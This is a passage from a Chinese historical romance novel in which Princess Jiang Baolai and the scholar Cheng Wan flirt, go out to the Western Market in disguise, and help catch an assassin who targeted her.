程晚想起昨夜与太子分别时,太子的交待:“她若能哭能笑能难过那就无事。”
于是,此刻,他笑得甚是和煦,扬着嘴角说:“那好,那便祝愿公主如愿以偿。”说着他又朝着姜宝来一辑礼:“唐突公主,子煦失礼。”
然而,姜宝来道:“我看你就是故意的!这一定是阿兄告诉你的!”
又令他回归正题:“你,接着说。就从你位极人臣开始。”
程晚温温道:“夜深人静时,子煦会想一想若真的有人来行刺这个权臣,那遇刺之前发生的事可有何奇特。”
“若在此寻不到想要的结果,那么我会再往前想一想……”
程晚说到此处,稍稍抬起了眸朝不远处的罗裳女郎看去,见她在原地来回踱步,一手捏着下巴,倒似在认真倾听他的话。
他垂下眸来,静静地站在原地,尽量在这一刻不发出任何的声响。
姜宝来来来回回踱着步子,她确实在认真思考中毒前的一个月发生的事儿。
但是这一个月以来发生的事儿可太多了。
她去过几次宫里与父皇用饭,又去西市逛了逛酒肆,但这去西市的次数她可记得不大清了,还要问过她的侍女们。
还有她去了马球场打马球,再到回学馆听书,还有她的生辰她刚刚得了一只阿兄送的礼物,那只叫阿媚的凤头鹦鹉。
想到此处,她不禁嘟哝道:“不行,不行,我的每一天太丰富了……你得让我好好想一想。”
程晚听她这般说,忽然不由自主地笑了出来,很快他道:“这个权臣亦会在想,或许是不经意间在某一天发现了他人的秘密,抑或是某个举动让人起了比铲除后患的心。”
“抑或者城门失火,殃及池鱼。这个权臣平白无故受了无妄之灾。”
“或为祸从天降,或为蓄谋已久,都有可能。”
姜宝来听到此处蓦地一拍手掌,回头问:“那程子煦,这个权臣他会遇到一些什么人?老奸
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巨猾的贪官?”
抑或功高盖主,君主有疑。
程晚温声道:“我想,一定是会威胁到他人自身利益。”
那她能威胁到谁呢?除了姚芳好还有何人?
凉台的竹杆上摇头晃脑的阿媚,忽然鸣叫起来:“程子煦!程子煦!”
二人双双探头去瞧。
姜宝来忽然走近道:“程子煦,我只是好奇为什么每次我遇到危险你都在。”
程晚问:“那公主要如何?”
姜宝来眨了眨眼睛,再往前一步、两步:“你说……我能相信你吗?”
程晚退后一步,俯身辑礼道:“臣愿护公主安危。”
姜宝来忽地眯起了眼,程晚见状暗道一声不好。
转眼间,姜宝来忽然抓起了身后八宝果盘内的一颗樱桃塞到了他口中。
程晚遂松下一口气。
谁料,姜宝来忽然踮起足尖吻了上来,一颗透红饱满的樱桃夹在了她二人唇间。
程晚满眼地不可置信,面上一股滚烫袭来,唰地从面颊泛到了耳尖。
程晚睫毛轻颤。
这时阿媚扑通着一双雪白的翅膀从竹竿上飞了下来,在屋子里不停地飞来飞去,一声声鸣叫。
姜宝来用牙齿咬住了那颗樱桃将它二人的唇间拿了出来,突地掷向了阿媚,阿媚再一声鸣叫后扑腾着翅膀落在了程晚的肩上一瞬,又很快飞走了。
姜宝来:“如何?”
程晚白皙的脖颈上,喉结轻轻滚动。
姜宝来:“可还觉逾矩?”
“你退,我进。你若再退,程子煦,我便再进。”
话落,她叫了门外的雾萝、覃楹一声,头也不回地去了里间。
程晚仍然站在原地,耳尖的红晕久久未散。他垂下眸,但耳中却不传地传来衣裳摩擦间发出的窸窣声。
里间的门扉吱呀一声从内打开,紧接着珠帘被人挑起。
程晚长睫低垂。
而姜宝来早已经换上了一身束腰的碧色长衫,头挽着玉冠,手握着一把折扇,面上的粉黛尽去,活脱脱成了一个长安二郎。
姜宝来看向依旧站在原地,羞红了耳尖的玉面郎君,道了一声:“走!”
程晚抬眸冷不防看见她这身妆扮忽地轻轻一笑。
雾萝惊讶:“公主,这么晚了,去哪儿?”
“哗”地一声,姜宝来将手中的折扇打了开,悠然道:“西市!”
她又回头看向程晚:“不过这次只有我与校书郎你啊!”
雾萝瞪大了眼睛,跺跺脚:“那脏心烂肺的蠢蛋还没抓到呢!公主不可啊!”
姜宝来不以为然地道:“那你家公主步还是要吃饭,还是要活着?没什么大不了的。”
雾萝急了,又去拽身旁的覃楹。覃楹一副公主是我的靠山,公主想去哪“疯玩”我都当没看见的态度。
雾萝回眸道:“公主!”
姜宝来拍了拍她的肩,语重心长地说:“小萝儿,你,不听话了?小声些,若带着他们更危险。”
雾萝知道,公主指的是平日里保护公主暗卫的那些守卫。
“只让多吉在暗中跟着就是了。更何况嘉福公主刚遇刺谁能想到我会再不自量力的出府呢?”
“我……从角门离开。”
说着,姜宝来又回身看向程晚,问:“你不拦我?”
程晚上前,面上的红晕仍在。他道:“公主既然无惧,子煦会护公主安危。”
雾萝闻言奇怪地看了一眼这个校书郎,方才阿媚的鸣叫她们随侍在殿外的人都听见了。但屋子里却好像什么都没有发生,只是气氛有些不同寻常。
姜宝来当即止住他:“停停停,公主也叫不得了。叫我乐宁。”而后她又狡黠一笑,抬手伸出一指腹将他唇上存留的一抹淡淡的唇印抹去,道:“或者你也可以叫我宁宁。”
18. 玉壶公子
夜幕下的西市灯火通明,喧闹纷杂。
牵着骆驼满载货物的胡商、沿街售卖香料的大食客、在酒肆前招揽客人,浓妆艳抹的碧眼胡姬……
魏翊扬穿着一身盔甲,手持着一柄剑,不似白日里在谢府身着的常服与和气,此刻满目的凌厉,冷如霜雪,身后且跟着二十余名衙署卫士快步朝各坊中走去。
看这样子是在坊间巡逻。
姜宝来一把拉住了正朝前行走的程晚,再用极快地速度将他拉进来两座相邻民宅的夹道间。
额头一瞬擦过他颈间的喉结,程晚呼吸微顿,半晌开口问:“公主何故躲?”
姜宝来看也没看他一眼,仍然微微侧着头瞧着街市上的响动,回道:“什么是秘密出府?”
“还有,你叫我什么?”
直到这时她才回过了眸,眉头轻轻一皱,朝程晚看去。
程晚循着她方才投去的目光看了一瞬,眉眼间尽是如何,却是垂眸不语。
姜宝来眉梢轻挑:“怎么?你瞧见了谁?”
她故作恍然大悟的样子。
“是他金吾卫中郎将么?长安城里人人都以为我嘉福中意的驸马人选,也是我嘉福的青梅竹马。”
“程子煦,那你可想做嘉福公主的驸马?”
姜宝来一字一句地追问着,话语里显现出来的态度大有咄咄逼人的架势。
谁想对面的人却不恼反笑。
姜宝来瞧着他身后的院墙上投射下来的两道身影,心里却想着昨日的事。若真的被一箭穿喉,他日若是她真的择了驸马充当她的肉盾,再被一箭射成筛子……
再一抬眸却是程晚那一张干净澄澈的面容,且此刻正抿唇浅笑着。
姜宝来不知怎么又想到了她的姑母以前养的一只猞猁,在去年秋猎时误入了林子里被野兽活生生咬死。
而姑母哭得肝肠寸断,与那只猞猁的尸首难舍难分,满眼的不舍。
若是那般,面前的人一个不留心被射成了筛子,这样一张无俦的面目,她果真是有些舍不得了。
程晚立在原地静静看着面前的公主眼中的波动,而姜宝来又去瞧月色下他嘴角微微漾起的那一抹小梨涡。
不知怎么又想到了那日在御苑听到的有关于他的那些传言。
他人都说他装清高,又毫不在乎地用恶言恶语诋毁起他。那他也是淡然置之么?
程晚见她灼灼地目光朝自己看来,半晌也不多言一眼,不禁开口提醒。
“公主?”
姜宝来回过神,突地笑盈盈道了句:“处众人中,似珠玉在瓦石间。”[1]
“程子煦,你觉得我说的对么?”
程晚温言问:“公主说的可是在下?”
姜宝来却再未回应他,而是在本就狭窄只能容纳一人经过的夹道里微微倾身上前,问:“他若是驸马,程子煦,那你是什么?情夫?”
姜宝来此刻眉眼间尽是笑意,但对面的程晚总觉得盈盈似秋水的明瞳里暗藏了一把暗器。
姜宝来又问:“程郎可追求一生一世一双人?还是府中姬妾无数?”
程晚眼眸温和,丝毫未思考温声回:“若倾一人此生心只许一人。”
姜宝来再问:“那身呢?”
程晚闻言一瞬耳尖羞红起来。
姜宝来盯着他端详了片刻,又将一双明瞳移到了他嘴角的那一双能甜到人心坎的梨涡上,而后再一点点靠近,一手不由自主地伸出一指的指尖轻划过他平滑的脖颈,道:“那我就姑且当作你程谦谦是这世间最好的男子吧。”
“还有,程子煦,我发现你很爱害羞。莫非……对其他姑娘也这样?譬如在书院外等着送餐的姑娘?
程晚:“……”
姜宝来见他久久未语,但耳尖上泛起的一双红晕却是一直未曾散去。
她忽地微微牵起嘴角一笑,眸光里闪过一抹狡黠,再是一声轻叹:“程子煦,你的眼里是否只有书籍。”
“那,我也是书么?看我也如看书?”
程晚声音里带着清润,含笑回:“不是。”
“那是什么?”
程晚方要开口,姜宝来却忽然再一手拉住了他离开了那狭窄的夹道。
二人直去了她平日里常光顾的那家酒肆,酒肆的胡姬见到“贵客”,不免喜笑颜开地迎了上来。
胡姬穿着一身满是铜铃与珠翠的脐装,一面向姜宝来抛着媚眼一面向她身侧的程晚看去。
程晚蓦地垂下了眸。
胡姬笑:“玉壶公子,今日难得有空,可要饮些什么酒?是富平石冻春,还是岭南的灵溪博罗……”
胡姬正兴致勃勃地说着,姜宝来却挥着一把折扇挡在了程晚的面前,笑吟吟道:“快些打住,今日我有重要的事,吃酒误事,我只喝葡萄酒。还有……给我身后那玉面郎君上一壶石榴酒。”
胡姬听着面前的“玉壶公子”提起“他”身后的玉面郎君,又不免踮起足尖看了一眼,笑哈哈问:“敢问玉壶公子,这位玉面郎君家住何处?若是今日这壶石榴酒深得了郎君的喜好,入得了郎君的口味,儿家可好再去赠酒。”
姜宝来面不改色地用折扇堵住了胡姬的嘴巴,而后似笑非笑道:“用你赠?还有忘了与你说了,这玉面郎君是我的人。”
胡姬闻言睁大了碧眼,很是不可置信地问:“啊!你们……”
身后的程晚见此朝着那胡姬行了一叉手礼,以示尊重。
胡姬受宠若惊:“儿家来长安多年,可还没有人与我行过这般大礼。”说着胡姬又摇摇头一声叹息:“怎么长安的俊儿郎都被你玉壶公子收拢了去。”
程晚不动声色地听在耳里,随后又温和笑了笑。
姜宝来笑了笑,神色从容地收了折扇,又施施然朝二楼走去。
店家很快上了小食,与她点的酒饮。
长安夜市歌舞升平,二人方落座便瞧见楼下对街的另一座酒肆,六七个舞姬在跳着舞。
姜宝来瞧了半晌回过头,发现程晚仍然安静坐在原处,一手执着酒壶,仿佛与楼下的所有欢声笑语分隔开来。
姜宝来收了折扇,奇道:“咦?程谦谦,你好像眼里真的没有其他姑娘。”
程晚将一盏空空如也倒满了葡萄酒,伸出手缓缓推到了她的面前,温和说:“味虽美,但不能多饮。”
姜宝来闻言一把将酒盏夺了过来,想了想,又将他面前的那盏也收进了臂中。哼道:“既如此,那这杯也是我的了!”
程晚含笑:“好。不过那杯是茶。”
姜宝来:“……”
“我这玉壶公子的名号可不是白来的,若来了这座酒肆我定要大醉才归!”
她暗自咬了咬牙,这人果真就是遇事不慌,尘世种种纷扰都与他无关。骨子里永远带着温柔与冷静,倒显得她有些斤斤计较。
程晚抬眸,见面前的公主,那饱满光滑额头下的一双蛾眉已微微倏了起来,他眼眸一弯,和煦道:“如公……乐宁所说,吃酒误事,子煦以茶代替。”
姜宝来冷不防听他叫起自己的乳名哼笑了一声,眨了眨眼,问:“程子煦,你不会从未饮过酒吧?”
程晚答:“子煦与殿下一同饮过。”
姜宝来道:“所以今日你是滴酒不沾,摆明了要为我垫后了?”说着她转过头看向街市里的熙熙攘攘:“那你来与我分析分析,假如……是何人意欲置我于死地!”
说着,她拿出了一个名册,上面记载的是当日在御苑参宴的诸人,上至
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皇室宗亲,下至达官贵族,便是随主家参宴的人等也没放过。
这一干人等她可是钻研了好几日,最后记在了名册里。便是覃楹与雾萝几个也不知晓此事。
程晚接了过去,一夜一夜地翻了起来。对面的姑娘虽默然无声,但程晚余光已见那得意洋洋的神情与女郎微微扬起,尖尖的下巴。
仿佛在无声地说:程子煦,你快赞美我。
程晚笑了出来,发自内心的称赞:“乐宁好生聪慧。”
姜宝来自出生十八载,听惯了他人叫她公主,血缘亲眷叫她的乳名,冷不防听到只相识了不到一月的这玉面郎君唤起她的乳名,她还稍稍的有些不习惯。
只不过嘛,这玉面郎君的声音怎得这般好听?清冽里带着温润,又像和煦的春风,又清冽如玉。
很快,她听对面的程晚道:“当日参宴的除宗室外皆是六品官员以上的子女,或宅邸贵妇。既如此,我大致估算了名册里当日在御苑的诸人,约为六十余人。只是这些还不算平日在园中打理闲杂锁事,或是在灶房烧饭的食官。”
“当日我有幸参宴,虽不知园中的侍人具体有多少人,但每经过一处连廊与庭园,都会有三两个宫人经过。长公主既选择在御苑设宴,招待足有六十余人的庞大盛宴,故此随侍的宫人应有比参宴的这些人多出几成才不会将此宴弄糟。”
“若为袭击,当朝公主的身边当日是守卫众多,敌人自是寻不到机会。”
“可若为暗袭,蓄谋已久的毒害……”
姜宝来忽然开口道:“所以这般不适合谋杀我,来来往往的场面,也许这毒……”
二人异口同声地说:“并非在御苑而中的!”
程晚继续翻着名册:“殿下二人兄妹情深,若朝中有人想为此密谋,抑或是想除掉公主,痛击太子殿下一蹶不振,谋得储位。那么此人可以是王侯,亦可以是王侯背后的文臣武将。”
“抑或此人不为谋得权力,只为除掉公主获得他或为她想要的利益。”
“我若死去阿兄一定会很伤心的。可若不为权力,又是何人想除掉我?除了她姚圆清姑侄还有他人么?这些年我在姚圆清那抢走了不少父皇要赏给她的珠宝,她视我为眼中钉,我也视她为肉中刺,她哪里有一点像阿娘?我就是看不惯眼。”
“阿兄身在东宫自是管不得后宫里的那些事,可我是当朝公主,我乃中宫嫡出,谢皇后的女儿。阿兄不便插手的那些事,我嘉福当然可以干涉。父皇喜爱我,我只要偶阿尔扮乖一点,嘴甜一点,在像阿娘的性子,固执一些,她姚清圆母子也好,姑侄也好,便没有她的施展之地……”
姜宝来一手拄着额角,看着楼下来来往往的行人,微阖着眼皮险些睡着,但嘴巴里还不忘嘟哝一番。
程晚从座位上起了身,将方才她歇下的披风又重新捞了起来,披在了她的身后。
姜宝来任他此举并没有回过头,只懒洋洋地问:“程子煦,休沐时你会做什么?”
程晚温声道:“写写字,或是绘画温书。”
姜宝来笑了一声:“实在太无趣了。”
程晚默了片刻:“公主近来多眠?不若寻个御医调理一番。”
姜宝来道:“程子煦,我将我的秘密都告诉你了,你是否也要同我近一些。你,唤我什么?”
程晚垂眸,声音清冽柔和:“乐宁。”
姜宝来心满意足地唇角微微翘了起来,忽然面前的程晚又见她直起了身板,聚精会神地朝着对街的一家波斯人开的珠宝店看去。
是杨文君身边的侍女,鬼鬼祟祟同她一般,扮作了男儿相,从珠宝店走了出来。
不过她还是认出来了。
姜宝来心中纳闷了,买珠宝用得着这般鬼鬼祟祟?
19. 消气
程晚循着她的视线去看对街的商铺,笑问:“乐宁对波斯匠人打造的珠宝很有兴趣?”
姜宝来捏了一块点心入口,随口说:“珠宝有什么兴趣,我那长乐宫里多着呢,主要是人。”
程晚一愣,随后看向那家珠宝店门前跳着胡旋舞的波斯客。除此外再无他人。紧接着又见自打从公主府出来,一直跟随在公主身边的那个鹤发童颜的中年宦官进了那家珠宝店。
正此时,酒肆的楼下响起一片喧杂声,姜宝来稍稍瞥了一眼,竟是两个穿着盔甲的官吏,看样子是两个武将,如今正醉了酒在大声吵闹。
许是已烂醉如泥,许久这吵闹声都没有停下。姜宝来不觉间已蹙起了眉头。
程晚道:“你安心用食,我来解决。”
话落,姜宝来便看着他目光里带着一片柔和离去。
程晚今日没穿官袍,下了值再从大理寺离开后便回了延寿坊换回了常服。
两个官吏你推我搡,谁也不肯落了下风,不知为何事争得面红耳赤。
程晚上前问:“敢问两位僚友是为何事争吵?”
其一武将不悦地瞧了他一眼,一张口满是酒气:“管你甚事,哪里凉快去哪里待着。走走走,别妨碍我们。”
程晚依旧好脾气地道:“二位可是归德将军部下,春日里归德将军凯旋回长安,程某有幸在天门街上一睹军将们的风采。近日陛下为国事繁优,归德将军因旧疾复发已在府上休养多日,二位军将既为归德将军部下,因了解将军素来喜酒,近日却不能多食。”
“喜酒之人,酒虫难耐,此番必是百般折磨,倘若今日坊中事传进了将军的耳朵,将军定会旧疾加重。”
两个武将听着这面前的白面书生说话一套又一套,又有些云里雾里。
他们统帅素来好酒,酒量极佳,军营里的这些人没一个将士能喝得过他。可谓是千杯不醉。近日统帅旧疾复发,他们这些一同随他上过战场的也自是忧心不已,一起共战的僚友便为此去了将军府登门拜访,谁想统帅却只留着他们坐了一会儿便往外赶人。
这么着,他便与平日里交好的僚友去了酒肆,本想就着小菜小酌两杯,谁料吃着吃着,那一壶酒就下去大半。
为此这一壶皆一壶便没有停下来过,与他相约的僚友又在方才提起了当朝的嘉福公主。
听闻这位嘉福公主生得花容月貌,杏脸桃腮,多年来一直未择驸马。前些时日却忽然想择一身强体壮、腰阔十围的驸马。
长安众儿郎,何来身强体壮,那定是他们这些舞刀弄枪的武将啊!
虽说军营里这样的身材一抓一大把,但普天之下能配得上那嘉福公主的却是没有几个。
高大壮硕不说,嘉福公主的门面怎么着也要择个相貌堂堂的驸马爷才对。
而他二人正合适。
这么着,二人在喝得东倒西歪时又提及了此事,这个说他才是日后嘉福公主的驸马人选,那个说他才会得嘉福公主的青睐。
二人谁也不相让,借着酒劲便大打了起来,从酒肆一路拉拉扯扯到了街上。
不过这与陛下近日国事繁优又有何干系?
其一武将盯着程晚看了半晌,有些心不在焉,半晌他才回过味来。
是了,昨日嘉福公主在街上突然遇袭,作为天家唯一的一位自幼捧在手心里的明珠公主,可不就会令陛下繁忧。
他二人在此深夜流连西市酒家又大打出手,若是被有心人看在眼中,为此趁机再参他们统帅一个折子,陛下又在嘉福公主遇刺,雷霆震怒的节骨眼上,那他们才是惹了大祸事。
这青年郎君是在好心提醒他们。
另一武将借着酒肆上悬挂的灯笼朝着程晚仔细看了半晌,突地茅塞顿开,想起了这半路突然窜出来的白面书生是谁。
一手拍在了他的肩头:“你是今年新科进士,那个探花郎!我知道你。”
程晚躬身辑礼,不慌不忙地表示认同了自己的身份。
二人一瞬醒酒。
一人又笑哈哈道:“多谢程探花提醒。曾某铭感五内。”说着又凑上前,低语道:“不过你来说说,我二人谁能担得起驸马这重任?曾某听闻程探花你文采极佳,字字似珠玉,还是太子殿下亲举荐的。那曾某自是信得过你。”
程晚看着面前胡茬满面,豪放不拘小节的军将,笑问:“驸马?可是……”
那武将突地打断了他的话,笑哈哈道:“还能是谁呀!嘉福公主的驸马啊!”
程晚蓦地一怔,再看酒肆楼上的公主,正拿着一块点心入了口,许是听见了楼下的谈话,突地一噎,连咳了许久,一张白皙的玉容上染上一层呛咳所致的红晕。
武将见此再哈哈大笑起来,爽朗道:“程探花,他日我若是做了嘉福公主的驸马,你定要来吃喜酒,吃我们的席面……”
话音还未落下,便见一锦裳二郎怒气冲冲从一家酒肆走了出来。她大马金刀地说:“好个厚颜无耻的!”
说着,姜宝来一手拉住了怔在原地的程晚,再气冲冲道:“我要回府,送我回去!”
长街上一时驻足了许多人,姜宝来正不明就里,那边程晚伸出一手朝着她头顶略微松散的玉冠上轻轻扶了扶,动作温和,却没有开口言语。
但姜宝来已在他此举时明白过来,那些人看自己的异样目光,原是自己目下是个男人。
可姜宝来却没将这些当一回事,冷冰冰着一张脸,拉着程晚头也不回地出了此坊。
身后程晚任凭她拉着自己行走,嘴角带着一抹浅浅笑意。
姜宝来似有一些察觉,停下了问:“程晚!你在笑什么?”
程晚道:“公主的喜怒哀乐从不藏于心间,程某只觉难能可贵。”
姜宝来仍然气冲冲道:“这事儿除了我长乐宫的人,别人可不知晓。”说着她又很快想起来那日在曲江池画舫用膳,顾绮与杨文君两个也是知晓此事的。
想到此,她忽地道:“定是顾绮被姚芳好的哪个金兰知己用几块糕点收买了,她姚芳好为此听了去。”
“好个厚颜无耻的,我还没应,便想着自己的喜酒,自己的席面,再晚上两日是否连黄道吉日也自顾选好了?”
程晚安静地听她说着,直到她停了下来,才问:“乐宁不喜武将?”
姜宝来怒不可遏:“我喜甚武将?那个满脸黑须的糙汉?脱了鞋履,隔着一层纱帘我都能嗅到他不爱沐浴的气味。我知他是在战场上为家国南征北站的的军将,方才我只说他一句厚颜无耻那还是轻的。但你知不知道我忍得好生幸苦!好生气恼!”
“还有你程子煦,亲都亲了,听着他人谈论这些,你就没觉得心里头一点不痛快?”
程晚道:“我知道。”
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姜宝来:“你知道什么?”
程晚答:“我知公主又气又急。”
姜宝来闻言听着他心平气和地在与她说,更气了:“你知道,那你不知安慰安慰我?”
程晚上前一步,微微俯下了身来,温声道:“那乐宁不如像昨日那般……瞪着我?或是打我一顿消消气?”
姜宝来叉腰道:“不行,你自是想了法子来宽慰我,否则我便让多吉将你绑回我长乐宫。”
“你可听好了,我可不是将你请回去的!”
“是绑的!”
程晚立在原地,几息的时间,四目相对。
不防一过路的马车里响起一声稚语,随后马车的车帘被从内掀起:“阿娘,你瞧,那里有人在吵架。”
随后一妇人的声音温柔响起:“看样子是一对新婚小夫妻,就像你的阿兄阿嫂。吵来吵去还不是如胶似漆。”
姜宝来:“……”
程晚:“……”
待马车慢悠悠驶过,姜宝来一声:“程晚!”
程晚立时抬起了手,一只修长干净的手掌轻而柔地抚上了她头顶的发鬓。
“乐宁。”
“乖。”
-
翌日,天还未大亮,长安城的城门便聚集了金吾卫的卫士。
卫士们手持着画像,一个个的在人群里寻找着姚家杜夫人的侄儿。
但魏翊扬不需要。
那日他给了那狂徒一拳,他那模样已经深深印在他脑子里了。
远处的角落,姜朔玉正坐在一辆马车里,身旁一布衣郎君一手提着茶壶将热茶落入杯中。
二人轻抿了一口茶,再一同慢条斯理地将茶盏放回原位。
没过一会儿,城门下忽地传来一阵时续时断的哭喊声。
妇人穿着一身浆洗的发白的褐衣,自称是城外村寨的农妇,来城里售卖山中采摘的草药,儿子自小智力有缺又突发疾病想回村中让医婆瞧瞧。谁想却突然遇上出城人员盘问,金吾卫的卫士们见他口中的儿子有疑,如何也不放行。
魏翊扬一把长剑在手,时刻不离身,一抬头眉宇间的那抹凛凛便叫那本是哭嚎的妇人当即噤了声。
魏翊扬瞧着被那妇人护在怀中的病儿,头裹着汗巾,看不清样貌,一步步走上了前去。
他问那妇人:“为何不在城中医治?”
妇人想也未想,抽搭着说:“城里的郎中说我儿得了会传染的急症不肯收治!”
城门下围观的百姓一听是得了急症,还是会传染的,呼啦啦的顷刻散了开。
而魏翊扬却仍然停在原地,一手上前便要撩开那人面上的汗巾,身后有手下提醒,魏翊扬却摆了摆手,执意上前。
那人见状忙躲闪到了一旁,头缩了缩似有些惧怕,口中还不时叫嚷着。
妇人再道:“我儿自幼智力受损,你们这些当官的怎生要欺辱我们孤儿寡母吗?天子善待我们布衣百姓,你们却要欺辱?”说着妇人再次哭嚎了起来:“天爷,你们竟如欺压百姓!”
魏翊扬盯着那人,眼锋锐利,开口道:“我看过后若无异常自会赔罪。”
谁想那农妇却一时撒泼坐在了地上。
姜朔玉一直听着城门下的响动,闻言便要撩帘下马,马车里在他身旁落座的程晚却先他一步,温声道:“殿下,我来。”
20. 审问
金吾卫的卫士们并不知这突然冒出来的布衣郎君是何人,将他阻拦在外。但见那通身的气度又犹豫了半晌。
魏翊扬听见身后的动静,看了看程晚身后的那辆马车,太子殿下的马车一早便出现在城门下他自然知晓,只是他并不知道马车里除了殿下外还有一人。
魏翊扬想了想便让卫士们将那布衣郎君放行。
程晚微微一笑道:“我自幼学过一些皮毛医术或许能帮助这位妇人的儿子。”
谁想程晚话音还没落下,那坐在地上撒泼的妇人又一声尖厉地大喊:“谁知你们是不是一伙的,说你们这些人欺辱百姓,还想欺辱我儿。我这便带着我儿去官衙让大家伙都瞧一瞧你们是如何欺辱老弱妇孺的。”
围观的百姓们开始指指点点,一会儿瞧瞧那老弱的母子二人,一会儿又瞧瞧那些持刀很是威猛的军将。
程晚盯着那头覆汗巾的人看了半晌,见他暴露在外的部分面部水肿,看不出原本的模样,又将目光移到了他暴露的手臂上,都是一片片的红斑。
魏翊扬在旁蹲下了身,在那妇人还未回过神来,一把撸开了那人的衣袖。
那人一声嚷嚷,妇人见此连滚带爬抓住了魏翊扬的盔甲。
妇人不依不饶,魏翊扬一手拽着那人手腕冷冷道:“别动!再动就将你们投到刑部牢狱去!”
程晚一扫周围,见有一位穿着短褐、扎着裤腿,头戴斗笠的老伯,身后背着一竹筐时鲜的果儿,旁边还有一对父子在嘀嘀咕咕。
父亲是个中年壮汉,同样穿着一身寻常百姓的褐衣。
相比较起来,小儿衣着靓丽,左手拿着芝麻糖,右手拿着糖画,盯着面前的那筐白桃一蹦再一蹦看个不停,嘴角尽是口水,显然是被那一筐果儿吸引。
看样子定是将小儿爱护备至的人家,但那父亲却连连拒绝,不肯掏钱去买。
程晚不动声色地走了过去,问卖果老伯:“老人家,今日可是来城中兜售鲜果?”
老伯笑眯眯接话:“正是,正是。正要进程里沿街叫卖,老汉好热闹,遇上这种事耽搁了一会儿,老汉这就走。”
程晚将果子在手中观摩一二,微笑道:“这些果子果香四溢,晚生昨日有些不当之处,正想该如何赔礼,老伯可是解了晚生的燃眉之急。”
老伯哈哈大笑,端详面前的布衣郎君片刻,见他言语谦逊有礼,生得眉清目秀,虽着了一身布衣,却宛如清隽雅致的世家公子。
“家中老妻想吃芝麻胡饼多日,老汉正待售完了这一筐果儿再去给老妻添饱腹之与欲。小郎君也是解了老汉的燃眉之急。”说着老伯又看向面前的布衣郎君:“这些桃儿是老汉今日现摘的,鲜甜可口,你家孩儿自是喜欢。”
程晚正从佩囊里取了银钱,闻言一怔,随后他轻咳了一声,嘴角牵起一抹微笑:“老伯会错意了,不是孩儿。”
老伯闻言立时有些尴尬,忙道:“是老汉误会了,小郎君一瞧便是还没有娶妻的,那……就是心仪的姑娘家?也不知是哪家的小娘子这般有福气。”
程晚将钱递了过去,和煦道:“是晚生的福气。”
程晚将那筐果儿自老伯背上取下,便挑出了两个硕大饱满的桃儿蹲下身递给了那吃糖的小儿,小儿眨着一双明亮的大眼却踌躇不接。
身后的壮汉走上前笑道:“多谢这位大人,小儿食鲜桃会出风疹。”
程晚点点头,声音里带着温和与平静朝着不远处的人群中看去:“那劳烦这位仁兄来瞧一瞧此人可是患得风疹。”
壮汉见程晚谈吐不凡且斯文有礼,迟疑一二便随他上前去看。
而那蒙着汗巾的人却一手撑在地上,作势便要起身溜走。
魏翊扬早在程晚淡定从容地离去便觉出有些不对,这时已将他按在了原地,同时一手拽下了那人头上的汗巾。
那壮汉瞧了半晌,呢喃道:“还真像,与我家那小子一致,吃了桃儿就会满面起红疹子,眼睛、嘴巴,肿得老高。说着,他看向程晚,笑道:“看样子是有郎中误诊了。”
程晚点头道谢,那人趁势便要将袖中匕首得拿出,一抹寒光折射进程晚的眼中,魏翊扬一脚便猛踹了过去。
卫士们哗啦啦围了过来,将手中的通缉画像展了开来。程晚再去瞧,见那人小拇指上与画像一同有颗黑痣,便朝后退了一步去迎远处而来的姜朔玉。
卫士们扬声道:“此人为朝中缉拿要犯,试图谋害皇室公主,带走!”
妇人大喊:“不!不能抓他,他挟持了我儿。”
魏翊扬起了身,手里仍然握着一柄长剑,随后他转身那布衣郎君走去,而后咫尺的距离定在那里,挑挑眉,道:“崇文馆程校书?”
程晚点头,再行常礼:“正是在下。见过金吾卫中郎将大人。”
-
长乐宫内,姜宝来倚在凉台的美人靠上听见这个消息,起身逗弄起一旁的鹦鹉阿媚。
她笑:“这是昨日美人计见效了?”
雾萝在旁一头雾水。
覃楹从外姗姗入殿,禀道:“公主,姚尚书进宫了。”
姜宝来眉梢一挑:“姚芳好呢?”
覃楹摇头:“许是还在姚宅。”
姜宝来回过头取了雾萝手捧的瓷碗,挑出来一些谷种回身喂起阿媚,悠悠道:“看样子这是要与他姚家撇清关系呢!这杜夫人的外甥不也是他姚坤的半个外甥么?大义灭亲,果真是他姚家能做得出来的事。就是不知……她姚圆清会如何了。”
保下杜夫人,舍弃她杜家。
她问覃楹:“覃楹啊,你来说这杜氏的外甥是不是杀我的凶手?”
覃楹道:“证据确凿。”
姜宝来心道:是啊,证据确凿。可是手段实在太白痴,这是个憨包。
前世她被不明不白毒死,倒像是心思缜密的人下的手。回想昨日程晚的猜测,姜宝来陷入了沉思。
不到一刻钟的时间,长乐宫的宫人又见嘉福公主风风火火地骑着马去了大理寺。
雾萝在后见公主如一股风一样离开了,直喊:“公主,公主!”
多吉紧紧追在后面。
大理寺牢狱里,杜夫人的外甥赵鸣浑身颤抖着蹲在角落里。
姜宝来下了马,将追月交给了身后的多吉,问在衙署廊下站立的茂才:“阿兄呢?”
茂才说:“公主何必亲自跑一趟?殿下正在狱中审问那杜鸣,那刺客头目已经按了认罪书,且陛下下了令要彻查此事。”
姜宝来点点头,进了牢房,铺天盖地的潮湿与腐起扑面而来,她皱了皱鼻子,随后大呼了一口气。
茂才在旁笑:“奴才可要给公主寻个面纱来?”
“不用……”姜宝来摆摆手,随着茂才的指引,二人一拐角,便瞧见昏暗的角落里,铁栅栏外的火把下站立的程晚。
姜宝来双眼圆睁:“他怎么还在这儿?”
栅栏外的二人听见动静一同朝身后看了过来,见是公主,程晚道:“今日逢休沐,路上遇殿下。”
姜宝来轻哼了一声,再不看他一眼,一脚踏进了牢房,并道:“上茶来。”
茂才依言照做。
于是,众人便见她慢条斯理地吃着茶,仿佛昨日遇刺,又显先被一箭穿喉的并不是自己。
赵鸣望着面前的公主,那日芙蓉园一别,脑中久久挥散不去。
姨母让他从浔阳郡而来只说要给他寻一门与他学业上有助的好亲事,长安盛世,他一直以来都觉得凭姨母对自己的喜爱定会为他寻个高门贵女。谁成想待到了姚家,心中的高门贵女却成了自己的表妹——姚芳好。
这个妹妹生得漂亮,就如娇艳欲滴的一朵鲜花,可就是太娇,风吹不得,雨浇不得。似乎还有些表里不一。
后来他在长安遇见了一个乘着步辇过街的女郎,女郎白皙如雪,犹如明珠夺目。再之后他遇见她骑马逛街、有时一身曳地裙裳,有时一身飒爽的火红裙装。
赵鸣认为,这就是他要寻的高门贵女。
他魂不守舍地回了姚家,想让姨母去为自己提亲,谁想书童多方打听,他才得知此乃当朝的嘉福公主,帝家的金枝玉叶。
公主好啊,天之骄女,掌上明珠。若能凭着公主一飞冲天,成了他嘉福公主的驸马,什么高官俸禄没有。
